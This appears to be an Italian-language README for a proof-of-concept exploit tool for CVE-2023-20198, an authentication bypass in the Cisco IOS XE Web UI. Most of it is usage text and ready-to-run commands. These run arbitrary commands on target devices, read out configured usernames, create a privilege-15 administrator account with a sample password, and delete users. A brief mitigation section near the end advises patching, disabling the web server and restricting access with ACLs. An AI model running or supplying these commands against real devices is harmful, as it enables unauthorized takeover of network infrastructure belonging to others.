
Exploit proof-of-concept per CVE-2023-20198, una vulnerabilità di bypass dell'autenticazione che colpisce l'interfaccia web Cisco IOS XE.
Questo repository contiene un exploit proof-of-concept per CVE-2023-20198, una vulnerabilità di bypass dell'autenticazione che colpisce Cisco IOS XE Web UI.
La vulnerabilità consente a attaccanti non autenticati di eseguire comandi arbitrari sui dispositivi Cisco vulnerabili tramite richieste SOAP appositamente create, portando potenzialmente a compromissione completa del dispositivo, inclusa l'esecuzione remota di comandi e la creazione/rimozione di utenti amministrativi.
CVE: CVE-2023-20198
Prodotto interessato: Cisco IOS XE (interfaccia Web UI / WSMA)
Impatto:
Vettore d'attacco: Rete (HTTP/HTTPS)
Privilegi richiesti: Nessuno (non autenticato)
Questa vulnerabilità è causata da una gestione impropria dell'autenticazione nell'endpoint Web Services Management Agent (WSMA), che consente agli attaccanti di bypassare l'autenticazione utilizzando richieste HTTP appositamente create.
requestscoloramaInstalla le dipendenze:
pip install -r requirements.txt
usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]
Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target Cisco IOS XE Device
-c, --check Check if the Target is vulnerable to CVE-2023-20198
-C CMD, --cmd CMD Cisco IOS XE Command to Execute
-a, --add Add New Username and Password
-d, --delete Delete existing User
-u USERNAME, --username USERNAME
Username for Account Creation
-p PASSWORD, --password PASSWORD
Password for Account Creation (Random Password Generated if not Provided)

Verifica se il target è vulnerabile:
python3 exploit.py -t https://<TARGET-IP> -c

Se vulnerabile, lo strumento rileverà automaticamente l'endpoint WSMA sfruttabile e mostrerà i dettagli del dispositivo.
Esegui comandi sul dispositivo vulnerabile:
python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"
Esempio:
python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

Crea un nuovo utente amministratore con privilegio 15:
python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

Se non viene fornita una password, lo script genera automaticamente una password sicura casuale.
Con l'account appena creato, puoi accedere alla Web UI del dispositivo

Elimina un utente esistente:
python3 exploit.py -t https://<TARGET-IP> -d -u cisco

Aggiorna Cisco IOS XE all'ultima versione patchata
Disabilita la Web UI se non necessaria:
no ip http server
no ip http secure-server
Limita l'accesso di gestione tramite ACL
| Option | Description |
|---|
-t, --target | Dispositivo Cisco IOS XE di destinazione (Obbligatorio) |
-c, --check | Verifica se il target è vulnerabile |
-C, --cmd | Esegue un comando Cisco IOS XE |
-a, --add | Aggiunge un nuovo utente amministrativo |
-d, --delete | Elimina un utente esistente |
-u, --username | Nome utente per la creazione/eliminazione dell'account |
-p, --password | Password per il nuovo account (casuale se non fornita) |